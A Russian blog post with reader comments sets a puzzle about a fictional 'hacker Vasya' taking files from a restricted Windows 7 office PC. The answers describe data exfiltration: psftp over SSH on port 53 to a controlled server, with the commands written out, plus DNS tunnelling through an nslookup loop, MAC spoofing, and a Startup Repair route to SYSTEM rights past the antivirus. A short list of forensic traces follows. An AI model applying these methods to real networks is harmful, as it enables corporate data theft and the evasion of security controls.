Как-то раз, один “хакер” Вася волей судьбы оказался за компьютером, некоторые файлы на котором его заинтересовали. И он решил во что бы то ни стало заполучить их.
Описание системы
- Итак, перед ним операционная система Windows 7 без установленных сервиспаков.
- Имеется файловый менеджер Total Commander без каких-либо расширений.
- Из средств защиты установлен Kaspersky Endpoint Security 10 версии. Настройки защищены паролем.
- Запрещёна запись на USB-носители средствами “Контроль устройств”.
- Запрещена работа с CD/DVD устройством тем же “Контролем устройств”.
- Запрещены настройки в “Веб-контроле” для всех сайтов, кроме корпоративного.
- В файрволле открыт 80, 443 порт только на корпоративный сайт.
- Разрешён исходящий трафик 53/UDP и 53/TCP порты.
- Запрещён исходящий трафик на 445/TCP порт.
- Разрешены исходящие ICMP всех типов.
- Запрещены все остальные исходящие TCP и UDP соединения.
- Машина подключена к сети Интернет посредством WiFi. Пароль от точки доступа выдаётся на визитках.
- Известен пароль от учётной записи пользователя. Прав администратора не имеется. Следовательно расшарить папку тоже не получится.
- В офисе установлено видеонаблюдение, так что прямая кража накопителя исключается (так же как и слишком подозрительные манипуляции).
- Корпоративный сайт доступен и извне и изнутри по тому же адресу.
- Имеется возможность пронести на территорию предприятия как небольшой накопитель, так и нечто более умное, типа смартфона или нетбука.
Сперва предлагаю читателям написать примерные варианты сценария, как хакер “Вася” может попытаться утащить файлы. Можно привлекать дополнительные силы и средства, указать какие. Бюджет должен получиться не очень большим!
Ответ напишу в этом же посте через несколько единиц времени.
Ответ.
Итак, видимо подобный пост людей заинтересовал, что дополнительно навело меня на одну мысль о том, что можно будет сделать практическое задание на эту тему. Пока привожу разгадку.
Кстати, в комментариях один наш коллега очень интересно расписал подход и, надо сказать, фактически назвал правильный ответ.
Хакер Вася действительно утащил некоторое количество файлов. Двумя способами. Первый годится для мелких файлов, второй – универсальный, подошёл для крупных (> 100 Мб свободно).
Мелкие файлы
Вася воспользовался программой Total Commander, открыл мелкий файл для чтения и перешёл в hex-режим:
Выбираем файл, нажимаем F3 (Просмотр). Затем выбираем “Вид – Шестнадцатиричный”.
Теперь банально фотаем дамп на смартфон, а в спокойной обстановке уже либо распознаём файл либо набиваем руками в какой-нибудь WinHEX. Сложность прямо пропорциональна размеру файла, но несколько килобайт таким способом утянуть вообще можно без проблем!
Крупные файлы
Но как быть с теми файлами, которые несколько крупнее? Была мысль открыть на смартфоне (Андроид) службу FTP, но поскольку смартфон у Васи оказался не рутованый, открыть порты младше 1025 не получалось. А исходящие TCP-соединения на высокие порты резались на уровне файрволла.
Внимание Васи привлёк пропускаемый TCP-порт под номером 53, что даёт службе DNS дополнительные фишки. Сисадмины редко каким-то образом дополнительно защищают DNS и как уже верно заметил один из комментаторов, через DNS можно вылить весьма немало данных. Правда Вася не стал задумываться о легитимизации трафика и сделал всё дешево и сердито.
На внешнем, подконтрольном Васе сервере к службе SSH помимо 22 порта был добавлен ещё и 53. Затем Вася посредством USB перенёс на компьютер небольшую утилитку psftp.exe (из того же семейства, что и PuTTy), благо чтение с USB-носителей разрешено. Утилитка весит 300+ кбайт, спрятать её в системе не составляет труда.
Затем в ней произвёлся коннект на подконтрольный Васе сервер:
open 123.456.789.10 53
(я нарочно завуалировал IP-адрес).
Подключение к серверу было организовано после авторизации.
lcd C:\путь к локальному каталогу, содержащему файлы
put имя_файла.zip
И всё! Файлы потекли в домашнюю директорию пользователя.
Скорость передачи была не очень высокая, порядка мегабайта в минуту, но это был зашифрованый трафик из защищённой сети!
Внимание, следующий вопрос: Как и что “спалил” Вася и что могли увидеть сисадмины этой сети? Жду комменты!
Резюмирую. Что могли запалить админы (но скорее всего не запалили) в этой ситуации?
- Прежде всего – факт подключения USB-накопителя, который отложится в журналах Windows и системном реестре. Оттуда можно вытащить VID/PID/Serial устройства, если оно ещё где-то всплывёт – можно связать это в общую картину.
- Факт запуска приложения psftp.exe, насколько я помню, откладывается в Prefetch и некоторых журналах. А так же вероятно, Касперский где-то запишет об активности программ.
- В момент слива – установленное исходящее соединение на <IP>:53. Характер соединения понять не удастся, всё-таки SSH. Вот эту ситуацию можно распутать конечно, что за IP и кто за ним стоит.
- Возможно остались следы передаваемых файлов. Тут лучше посмотреть созданные/удалённые файлы (особенно zip-архивы) за примерно этот период.
Но если инцидент сразу не обнаружился, потом найти следы этого подключения практически нереально!
Ну первое – это засунуть нужные данные в какой-нибудь Excel под паролем и выложить на корп. сайт, а извне скачать. Но это ведь слишком просто, не правда ли
Следующий вариант программно-прикладной, т.к. я не системный и не сетевой инженер. Но главное, чтобы работало.
Итак. Учитывая, что никаких сведений про настройки WiFi сети нет, делаем допущение, что они самые тупые: DHCP и никакого ограничения по новым соединениям с посторонних устройств с левыми MAC-ами.
Что понадобится из оборудования: Linux-устройство с Wifi адаптером, самое бюджетное и портативное. Думаю, на дешёвую Android железку можно поставить полноценный Linux с рутом, шеллом, пакетным менеджером и компилятором.
Дальше пишем свой DNS-сервер на чём угодно, от C до Python (можно ещё попробовать написать его на Java под Android, так совсем просто, но я не знаком с возможностями платформы) и инкапсулируем внутрь протокола свой мини-протокольчик по приёму и сохранению текстовых файлов, которые по частям приходят в DNS запросах. Нужно по сути только разбиение на chunk’и и отслеживание имени/ID файла.
Тихо и не под камеры коннектимся с устройства к корпоративной сети и запускаем наш сервер на 53-м TCP порту.
На рабочем компе пишем JScript-скрипт для WSH, который разбивает любые нужные нам файлы на строки максимального размера, которые можно впихнуть в DNS Lookup-запрос. 63 байта должно влезть в один такой chunk, судя по RFC. Можно и до 255, но придётся дополнительно обратывать точки между поддоменами. Но лениво.
Да, бинарные файлы переводятся в Base64 средствами того же JScript. Если есть какие-то спец. символы, недоступные в hostname, изобретаем свои escape-последовательности.
Далее запускаем опять же в JScript тупой цикл на команду “nslookup ${data_chunk}”, можно даже спереди в паре байт пускать ID файла и не встраивать его внутрь самих данных, так ещё проще.
Собственно и всё, сливаем хоть весь файл-сервер (которого нет, потому что порт 445 не доступен, что странно). Есть вариант того же сценария, но с Ethernet. USB OTG к железке и вперёд.
PS Если таки сетевой инженер не совсем бездарный овощ и есть привязка к МАС, то варианта два:
1. Железка раздаёт Wifi (“глушилок” радиосигнала в постановке задачи нет), мы с рабочего компа коннектимся и повторяем операцию
2. Подворовываем МАС у коллеги из ARP-кэша и ждём, пока он уйдёт домой, погасив машину. Ставим на железку и коннектимся как родные.
Это вариант just for fun для красноглазых задротов, само собой. Остаётся открытым вопрос аудита вроде смены сети или локального мониторинга объёма исходящего DNS трафика (крайне сомнительно, трафик по содержанию валиден). Хоть цели “не спалиться” в задаче и нет. После нас хоть потоп.
Всерьёз притаскивается мининиатюрная фотокамера и снимается монитор, если мы говорим о нормальном промышленном шпионаже. Это если на входе нет шмона с металлоискателем, кинологов и проч. (опять же по условию задачи его нет).
В качестве изначальных вариантов был FTP-сервер, т.к. в Total Commander встроен клиент, но я не уверен, что на одном рабочем 53-м порту удастся завести клиента, хоть в Active, хоть в Passive mode.
Шедеврально! Мне понравилось. Кстати, хакер Вася воспользовался двумя из перечисленных способов, одним в точности, вторым немного иначе, чуть проще. Подождем ещё некоторое время, может ещё кто-то что-то напишет!
Спалил само наличие SSH-соединения и IP-адрес, вроде бы это всё, остальное зашифровано. Тянет на security incident и увольнение. По времени коннекта/дисконнекта можно примерно оценить размер выкачанного. От IP-адреса толку немного.
Да, как оказалось, я наизобретал велосипед, давно есть туннелирование TCP через DNS и даже ICMP.
Всё правильно! Однако есть ещё палево в виде подключемого USB-носителя (записи в реестре), по которым вполне можно первоначально понять, что произошёл инцидент. По объёму трафика, всё-таки не так просто оценить, учитывая большие накладные расходы SSH. А вот IP адрес вполне может и помочь, правда в случае, если постоянно осуществлялся мониторинг за сетевой активностью. Если инцидент будет обнаружен спустя продолжительный промежуток времени (если вообще будет обнаружен), то улик будет очень немного.
Замучаетесь через dns туннелить. На хабре есть пара статей на эту тему. А если в организации есть прокси, он режет любой icmp начисто.
Windows 7 без сервисов со всеми плюшками. Вырубаем с кнопки. При загрузке винда понимает: “о,что-то пошло не так” и предлагает:
Start Windows Normally
Launch Startup Repair (recommended)
Ввбираем второе. Ждем подгрузки recovery. На вопрос Restore? отвечаем Нет. В появившемся окне об отправке соoбщения об ошибке выбираем «View problem details». Кликаем на одну из ссылок, откроется Notepad. Стоит ли говорить что через окно открытия файлов мы можем зaпустить все что угодно с правами NT AUTHORITY\SYSTEM. Никаких тебе учеток, никакого kav. Заранее воткнете флешку – скинете на неё все что угодно. Остается немного логов, а главное – работает даже на компах в домене.
Хороший вариант. Вполне себе действующий!